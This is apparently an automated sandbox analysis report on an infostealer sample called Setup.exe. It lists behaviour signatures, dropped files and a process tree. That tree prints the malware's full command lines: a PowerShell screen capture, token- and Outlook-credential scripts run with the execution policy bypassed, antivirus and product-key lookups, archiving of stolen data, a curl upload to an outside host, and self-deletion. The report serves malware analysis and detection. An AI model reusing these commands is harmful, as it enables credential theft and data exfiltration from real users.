Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 20:37

General

  • Target
    Setup.exe
  • Size 11.1MB
  • Sample260817-zee4rsdf64
  • SHA256 891292d66392d8da0e92cf38abcb108a69e33fb1714f7920448301b1aa5094d5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe
      "C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Checks processor information in registry
      • Suspicious use of WriteProcessMemory
      PID:1356
      • C:\Windows\System32\RuntimeBroker.exe
        RuntimeBroker.exe all -o C:\Users\Admin\AppData\Local\Temp\64da9474\output
        3⤵
          PID:4412
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c curl -s -k -o "C:\Users\Admin\AppData\Local\Temp\64da9474\collect\geo_curl.json" "http://ip-api.com/json/"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4216
          • C:\Windows\system32\curl.exe
            curl -s -k -o "C:\Users\Admin\AppData\Local\Temp\64da9474\collect\geo_curl.json" "http://ip-api.com/json/"
            4⤵
              PID:1536
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\64da9474\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap=New-Object System.Drawing.Bitmap $screen.Width,$screen.Height; $graphics=[System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($screen.X,$screen.Y,0,0,$screen.Size); $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\64da9474\screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png)"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5132
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\discord.ps1"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5388
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\discord.ps1"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5448
              • C:\Windows\system32\taskkill.exe
                "C:\Windows\system32\taskkill.exe" /F /IM chrome.exe
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2708
              • C:\Windows\system32\taskkill.exe
                "C:\Windows\system32\taskkill.exe" /F /IM msedge.exe
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5752
              • C:\Windows\system32\taskkill.exe
                "C:\Windows\system32\taskkill.exe" /F /IM brave.exe
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1992
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\outlook_cred.ps1"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5596
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\64da9474\outlook_cred.ps1"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:252
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c robocopy "C:\Users\Admin\AppData\Local\Temp\64da9474\collect" "C:\Users\Admin\AppData\Local\Temp\64da9474\data" /E /R:0 /W:0 >nul
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3056
            • C:\Windows\system32\Robocopy.exe
              robocopy "C:\Users\Admin\AppData\Local\Temp\64da9474\collect" "C:\Users\Admin\AppData\Local\Temp\64da9474\data" /E /R:0 /W:0
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2580
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > "C:\Users\Admin\AppData\Local\Temp\av_tmp.txt" 2>nul
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1428
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1988
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey" > "C:\Users\Admin\AppData\Local\Temp\key_tmp.txt"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3776
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "(Get-WmiObject -Class SoftwareLicensingProduct | Where-Object {$_.PartialProductKey -and $_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f'}).OA3xOriginalProductKey"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5844
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\64da9474\data\Outlook" 2>nul | find /c /v "" > "C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4120
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" dir /s /b "C:\Users\Admin\AppData\Local\Temp\64da9474\data\Outlook" 2>nul"
              4⤵
                PID:6132
              • C:\Windows\system32\find.exe
                find /c /v ""
                4⤵
                  PID:2600
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\64da9474\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip' -Force"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3524
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\64da9474\data\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip' -Force"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4720
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c curl -L -s -S -k --max-time 900 -H "Host: whale-complex.site" -F "document=@C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip" -F "hwid=2D1CACDE" -F "participant_id=DLAWBTBF" -F "tag_1=0" -F "tag_2=0" -F "tag_3=0" -F "tag_4=0" -F "tag_5=1" -F "tag_6=0" -F "country=Canada" -F "city=Toronto" -o "C:\Users\Admin\AppData\Local\Temp\64da9474\upload_resp.txt" "https://whale-complex.site/upload.php?study=up4pc"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2184
                • C:\Windows\system32\curl.exe
                  curl -L -s -S -k --max-time 900 -H "Host: whale-complex.site" -F "document=@C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip" -F "hwid=2D1CACDE" -F "participant_id=DLAWBTBF" -F "tag_1=0" -F "tag_2=0" -F "tag_3=0" -F "tag_4=0" -F "tag_5=1" -F "tag_6=0" -F "country=Canada" -F "city=Toronto" -o "C:\Users\Admin\AppData\Local\Temp\64da9474\upload_resp.txt" "https://whale-complex.site/upload.php?study=up4pc"
                  4⤵
                    PID:4900
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:6124
                  • C:\Windows\system32\cmd.exe
                    cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe"
                    4⤵
                      PID:5288

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 aecd211ac8babc118c2a0785f00479871819bde6ba11e5b7891a04f259f1dbf3
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 5e34248dd2cc55f37525b0f9dd7f4f19e879ad15905df49539c20497a21dd7ec
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f3f3b51f1a69562c64b43df843c7fa4d92bf34b36210fb05fc4a4f8ed2e38e71
                    • MD5 SHA1 SHA512 TLSH

                    1KaLmIg2.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\1KaLmIg2.zip
                    • Size 511KB
                    • SHA256 298ff93a18cadbacf020f024fcf7ac4a0f81b590fed541362a0201e37426d97f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    discord_tokens.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\discord_tokens.txt
                    • Size 38B
                    • SHA256 28a601045c4111bd7f5aabd315ca80937e9e5a191c7a07978e426680e1d5ee5e
                    • MD5 SHA1 SHA512

                    geo_curl.json

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\geo_curl.json
                    • Size 299B
                    • SHA256 2c5a0c9379a80ead9ba2a9c784f7cf106aa91ac34e4380bb5bdbcb350e27030e
                    • MD5 SHA1 SHA512 TLSH

                    info.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\info.txt
                    • Size 595B
                    • SHA256 132cc1a1a093413481ab1dbda9b13b42e1ce815c650438a9ba35511be746c551
                    • MD5 SHA1 SHA512 TLSH

                    tokens_debug.log

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\collect\tokens_debug.log
                    • Size 549B
                    • SHA256 7185b86dbd6d062d829474db58683312716f87a28021c802c7487046070c58b2
                    • MD5 SHA1 SHA512 TLSH

                    credentials_temp.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\credentials_temp.txt
                    • Size 5B
                    • SHA256 f01a374e9c81e3db89b3a42940c4d6a5447684986a1296e42bf13f196eed6295
                    • MD5 SHA1 SHA512

                    discord.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\discord.ps1
                    • Size 3KB
                    • SHA256 9a1ebd6bdee3dbcaebd9d35b20e2cc9fc7112cc6e6ca084c226bda12053eceb4
                    • MD5 SHA1 SHA512 TLSH

                    outlook_cred.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\outlook_cred.ps1
                    • Size 614B
                    • SHA256 48523ef2bdfaf7bef669f780a49f24f4255f87f927dc1e3e75cc70d20d5dcd95
                    • MD5 SHA1 SHA512 TLSH

                    screenshot.png

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\screenshot.png
                    • Size 514KB
                    • SHA256 f9bd10b7277d9efafb3f30ffa10b94a93c15b10ae45147210c9a7389eb344dd9
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    upload_resp.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\64da9474\upload_resp.txt
                    • Size 71B
                    • SHA256 99099246bd63e689b3eca30368f83c05651f56b70d93135c95d37e42fcfeefc2
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_dz4fvorn.5ox.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dz4fvorn.5ox.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    av_tmp.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\av_tmp.txt
                    • Size 6B
                    • SHA256 2e08d1f6000aef541797d008c05ac36f4dbebfb36cbac5615788e6fcc5b300a7
                    • MD5 SHA1 SHA512

                    cnt_tmp.txt

                    • Path C:\Users\Admin\AppData\Local\Temp\cnt_tmp.txt
                    • Size 3B
                    • SHA256 f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
                    • MD5 SHA1 SHA512

                    h2h3d3pi.o4i.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\h2h3d3pi.o4i.exe
                    • Size 144KB
                    • SHA256 fc3d3f13f9dcdf7f11a4194b3107eec5e6a9426ac0764ec8878ce364b73c1ddb
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/1356-22-0x00007FF6B5900000-0x00007FF6B592B000-memory.dmp

                    memory/1356-76-0x00007FF6B5900000-0x00007FF6B592B000-memory.dmp

                    memory/1356-97-0x00007FF6B5900000-0x00007FF6B592B000-memory.dmp

                    memory/1356-93-0x00007FF6B5900000-0x00007FF6B592B000-memory.dmp

                    memory/3456-4-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                    memory/3456-12-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                    memory/3456-0-0x00007FFC1405F000-0x00007FFC14060000-memory.dmp

                    memory/3456-1-0x0000000000130000-0x0000000000166000-memory.dmp

                    memory/3456-3-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                    memory/4412-18-0x000001B8A0FE0000-0x000001B8A1147000-memory.dmp

                    memory/4412-13-0x000001B8A0FE0000-0x000001B8A1147000-memory.dmp

                    memory/4720-83-0x000001F7B6380000-0x000001F7B6432000-memory.dmp

                    memory/4720-87-0x000001F7B60C0000-0x000001F7B60CA000-memory.dmp

                    memory/4720-86-0x000001F7B60D0000-0x000001F7B60E2000-memory.dmp

                    memory/4720-84-0x000001F7B60E0000-0x000001F7B60EA000-memory.dmp

                    memory/4720-82-0x000001F7B60C0000-0x000001F7B60DE000-memory.dmp

                    memory/5132-37-0x0000018D168C0000-0x0000018D168E2000-memory.dmp